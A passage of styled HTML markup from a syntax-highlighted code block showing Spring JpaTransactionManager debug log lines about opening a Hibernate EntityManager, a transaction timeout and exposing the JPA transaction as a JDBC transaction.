border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Opened</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">new</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">for</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">****[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Begin</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">timeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">10</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> seconds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">The</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> deadline of entityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">):</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> and current time</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Tue</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Sep</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">06</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">15</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">05</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">42</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> CST </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">2011</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Exposing</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA transaction as JDBC transaction </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">SimpleConnectionHandle</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: 